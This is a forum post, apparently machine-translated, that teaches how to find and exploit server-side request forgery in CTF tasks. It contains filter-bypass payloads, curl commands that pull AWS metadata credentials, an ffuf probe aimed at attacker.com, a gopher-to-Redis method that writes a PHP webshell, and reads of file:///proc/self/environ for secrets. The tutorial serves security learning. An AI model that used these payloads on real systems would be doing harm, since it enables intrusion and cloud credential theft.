SSRF vulnerability: how to operate in CTF tasks

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
590
Reaction score
1,140
Deposit
0$
Search for SSRF vulnerabilities in CTFs

SSRF does not hide in the CTF – it is embedded in the logic of the task. Every function where the application accepts the URL from the user is a potential vector. In terms of MITRE ATT&CK, this is the first phase of the Exploit Public-Facing Application (T1190, Initial Access): the attacker through the web application forces the server to walk on arbitrary addresses. Read more in our guide to creating ctf tasks.

URLs and previews are CTF classics. The application accepts the URL, makes a request to it and returns the content or generates a screenshot. Parameters url=, page=, site=, fetch=, load= First thing I look at in HTTP requests via Burp Suite.

PDF/image generators are less obvious but frequent entry point. If the tuck generates PDF by HTML markup (wkhtmltopdf, Puppeteer, WeasyPrint), tag injection <img src="http://internal-service/"> or <iframe> trigger SSRF. According to PortSwigger, URLs within data formats is one of the hidden vectors that is regularly passed.

Webhook handlers. Parameters callback_url, webhook, notify_url – the application itself sends a request to the specified address. In CTF, this is disguised as “notification” or “integration.”

HTTP Headers. Host, X-Forwarded-Host, X-Original-URL, Referer – less obvious vector, but in CTF of increased complexity occurs. According to researchers SSRF through the title Host allowed scanning the ports of the internal network by difference in the status codes of the answer.

Importing data. Fields import_url, file_url, source= – the application tightens data from an external source. In CTF, this disguises itself as “configuration import” or “template download.”

At the stage of exploration, I drive all traffic through Burp Suite and tag each parameter with a URL-like value. To detect hidden parameters – ffuf -w params.txt -u "https://target/api/fetch?FUZZ=http://attacker.com" -fs 0. Filtering by response size reveals parameters that are invisible in UI.

A separate category is partial URLs. Some apps don't accept the full URL, but only the hostname or the path. There is no complete control over the request, but the hostname is enough to scan the internal network – and this is already Network Service Discovery (T1046, Discovery).
Confirmation: SSRF blind and classic options

Finding a suspicious parameter, the first action is confirmation. Three scenarios.

Classic SSRF (non-blind). The server returns the response content directly to HTTP-response. Substitute http://127.0.0.1/ – if in response I see HTML of the internal service, the vulnerability is confirmed. In CTF, this is the most frequent case: the task specifically returns a body response so that the contents of internal resources can be read. Example from PortSwigger: the application of the online store checks the presence of goods in stock through the parameter stockApi=http://stock.weliketoshop.net:8080/... – substitution on stockApi=http://localhost/admin gives the contents of the admin.

Blind SSRF. The server executes the request, but does not return the response to the client. To confirm, you need an OOB channel - an external server that fixes the incoming connection. Standard approach: setting up the Burp Collaborator address or self-hosted interacts (from ProjectDiscovery). DNS-lookup or HTTP request has come – SSRF is confirmed, even if the application’s response has not changed.

A critical nuance for CTF: even if HTTP traffic is blocked outwards (the frequent reception of organizers), DNS resuls are almost always allowed. Payload View http://uniqueid.attacker-dns.com may not reach as HTTP, but the DNS request is recorded. That's enough.

Semi-blind technique (time-based). If the OOB channel is not available (CTF insulated environment), send queries to different localhost ports and measure the response time. Open port (say, http://127.0.0.1:6379 – Redis) will return the answer faster or with another status code than closed (http://127.0.0.1:9999). So I determine which services live on the host.
Bypassing SSRF filters: from localhost bypass to DNS rebinding

In CTF, there is rarely a “naked” SSRF without filtering. The organizers put locks – and the task is to bypass them. Three categories of bypasses from simple to complex.
SSRF localhost bypass: alternative IP submissions

Most of the protections — dale list on regex: blocked 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x. The approach is doomed by the many alternative representations of one address. Here is the set I use on each CTF:

http://2130706433/ # decimal = 127.0.0.1
http://0x7f000001/ # hex = 127.0.0.1
http://0177.0.0.1/ # octal = 127.0.0.1
http://127.1/ # short-hand = 127.0.0.1
http://0/ # = 0.0.0.0
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv6-mapped IPv4
http://127.127.127.127/ # весь 127.0.0.0/8 = loopback
http://0xa9fea9fe/ # hex = 169.254.169.254

The logic is simple: the filter checks the string match with 127.0.0.1, eh 2130706433 – same address in decimal. Function inet_aton() (in curl, Python requests on Linux via glibc) converts both records into one IP. The filter misses a string – HTTP client resolvit in localhost. Similar to cloud metadata: decimal 2852039166 = 169.254.169.254. These submissions are listed in PayloadsAllTheThings (swisskyrepo) — keep it open on every CTF.

Additional techniques: URL-encoding. If the filter blocks /admin, that http://127.0.0.1/admin (single-encode) or http://127.0.0.1/%61dmin (double-encode) can pass - depends on whether the URL filter decodes before checking. Enclosed alphanumeric symbols are another vector from PayloadsAllTheThings: http://example.com = example.com. Against naive regex-checks works on a ura.
SSRF via redirects and bypass whitelist

Whitelist filters are more complicated: the application allows requests only to certain domains. Two main approaches.

Open Redirect. If there is an open redirect in the application or on the permitted domain, you can deceive the validator: the filter sees the domain allowed, passes the request, and the HTTP client follows the redirect to an arbitrary address. According to PortSwigger, the codes 307 and 308 save the HTTP method and body after redirection – for POST-based SSRF, this is critical.

For CTF-tasks without your own redirect server, the r3dir (Horlad/r3dir) utility works: https://307.r3dir.me/--to/?url=http://localhost gives 307-redirect on localhost. For metadata: https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me – 302 n http://169.254.169.254/latest/meta-data/. It is integrated with Burp through Hackvertor tags.

URL parsing discrepancies. The URL specification contains features that parsers handle differently. Key tricks (PortSwigger): symbol @ for replacement hostname (https://expected-host:fakepassword@evil-host), fragment # for a false coincidence (https://evil-host#expected-host), DNS hierarchy (https://expected-host.evil-host). The combination of these techniques breaks most whitelist parsers.

Parsing vulnerability is particularly delicious in Python: according to PayloadsAllTheThings, a line http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ gives three different destinations. urllib2 goes on 1.1.1.1, requests redirectitis on 2.2.2.2, urllib Resolvit in 3.3.3.3. If you know which backend library, you pick up payload under its parser.
DNS rebinding and deception domains

DNS rebinding is a technique in which a domain alternates the answers between two IPs. The first DNS request (at the validation stage) returns a “safe” IP, the second (at the stage of a real request) – the target internal address.

Service 1u.ms creates such domains without infrastructure: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms. The first nslookup gives 1.2.3.4, the next one — 169.254.169.254. The filter sees a legitimate external IP, the HTTP client gets a metadata-endpoint.

The nip.io service works easier: 127.0.0.1.nip.io will dissolve in 127.0.0.1, anything.192.168.1.100.nip.io - in 192.168.1.100. If the filter checks “isn’t the hostname IP address,” bypass.192.168.1.100.nip.io will pass – this is a domain name, not an IP. Also spoofed.burpcollaborator.net registered on 127.0.0.1.

Domain with TLD .localhost – according to the standard of any subdomain .localhost will be isolated in loopback. On Linux payloadsallthethings.localhost = ::1 (IPv6 loop.)
SSRF cloud metadata operation: 169.254.169.254

If the CTF-task is deployed in the cloud, SSRF opens access to the metadata service – and this is the main prize. In terms of MITRE ATT&CK – Cloud Instance Metadata API (T1552.005, Credential Access).

# AWS IMDSv1 — GET без аутентификации
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# GCP — требует заголовок Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
# Azure — требует заголовок Metadata: true
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance"

AWS IMDSv1 is a simple GET without authentication. Answer to the path /latest/meta-data/iam/security-credentials/<role-name> contains AccessKeyId, SecretAccessKey, SessionToken. Three values – full access to the AWS account as part of the role. That's it, one GET request.

IMDSv2 requires a preliminary PUT to receive session token. Through the typical GET-only SSRF, it doesn't work, but bypasses through gopher:// or HTTP request shipping possible. In practice, many EC2 instances are still active IMDSv1: if GET to http://169.254.169.254/latest/meta-data/ return answer – IMDSv1 works. Check first thing.

GCP and Azure require specific headers, making it difficult to operate—not every server HTTP client allows you to set arbitrary headers through a custom URL. But if SSRF allows you to control the headings (via CRLF injection) – metadata is available.

Real world threat scale: CVE-2025-61882 in Oracle E-Business Suite (CVSS 9.8 CRITICAL, vector AV:N/ACL/PRL/PR:N:N/S:U/C:H/I:H:H, CWE-287 Improper Authentication) — vulnerability in the BI component.1 CISA added it to the catalog of Known Exploited Vulnerabilities 06.10.2025 with a deadline of 27.10.2025. EPSS estimate – 0.9973 (top 0.05% of all CVEs). The SSRF in the chain with the circumvention of authentication led to the complete capture of Oracle Concurrent Processing. From the “reading files” – to the complete compromise of the enterprise system. One request.
Access to internal services via SSRF: gopher and protocols

SSRF is not limited to HTTP. If the server HTTP client supports other protocols, the capabilities are expanded multiples – this is the Exploitation of Remote Services (T1210, Lateral Movement).

file:// – reading local files. file:///etc/passwd, file:///proc/self/environ (Aroundings variables often contain secrets) file:///app/flag.txt. Works if the HTTP client supports the scheme file://.

gopher:// – the main weapon for attacks on internal services. Gopher allows you to send arbitrary TCP data – essentially raw TCP through the URL. Typical goals in CTF:

Redis (port 6379). Through gopher send teams CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SET payload "<?php system($_GET['cmd']);?>", SAVE – and write webshell. Gopherus (tarunkant/Gopherus) generates ready-made gopher-payloads for Redis, MySQL, FastCGI, SMTP. Archive (last commit 2020), but gopher format is stable – payloads work.

MySQL (port 3306). If MySQL is configured to access without a password for localhost (a frequent case in the CTF), gopher-payload executes the SQL request directly.

FastCGI (port 9000). Through gopher, you can send a FastCGI request to PHP-FPM and execute an arbitrary PHP code.

dict:// – easy way to send one command to a TCP service. dict://127.0.0.1:6379/INFO will give information about Redis. Less powerful than gopher, but works when the gopher is blocked.

Business logic of attack: SSRF is not the final goal, but a springboard. One HTTP request turns an external attack into an internal one. The server is already behind the perimeter, using implicit trust – and this is abused. Monetization in real incidents goes through the theft of cloud credentials (access to S3-backets, databases), lateral movement and data exfiltration.
SSRF operation step by step: workflow and tools

Full workflow solution CTF-task with SSRF – from zero to flag.

Step 1: Mapping attack surface. All traffic through Burp Suite. Collaborator Everywhere extension automatically puts Collaborator addresses in headers Referer, X-Forwarded-For, Host each request. If the server accesses any of them, the blind SSRF is confirmed without manual work. Wappalyzer defines the stack: Next.js, Sentry, or SSO integration often contain features that developers forget to disable.

Step 2: Phasing parameters. If there is no explicit URL, I run a ffuf with a dictionary of parameters. The filter by the size of the answer - the change in size means that the parameter is processed by the backend.

Step 3: Confirmation and Type Definition. Substitute Collaborator / interactsh address. HTTP-callback with body → classic SSRF. DNS-callback without HTTP → DNS-only blind SSRF. Neither, but the response time differs → time-based semi-blind.

Step 4: Bypass the filters. Payloads in order of increasing complexity: direct IP → decimal/hex/octal → IPv6 → nip.io → DNS rebinding → open redirect → URL parsing tricks. Each unsuccessful payload gives information about the type of filter. If an error with text comes, I analyze it: “Invalid URL”, “Host not allowed”, “Connection refused” talk about different stages of processing.

Step 5: Scan internal services. Confirming SSRF, scan standard ports localhost: 80, 8080, 3000, 5000 (web), 6379 (Redis), 9200 (Elasticsearch), 3306 (MySQL), 5432 (PostgreSQL), 27017 (MongoDB). In Kubernetes I try http://kubernetes.default.svc – if it responds, a cluster API server is available. DNS names of services like http://redis-service:6379 – standard for k8s.

Step 6: Data extraction or . Depending on the detected: cloud metadata → credentials → access to cloud resources; Redis → gopher-payload → webshell/RCE; internal admin panel → flag reading; file system → file:///flag.txt or file:///proc/self/environ for secrets.
 
Top Bottom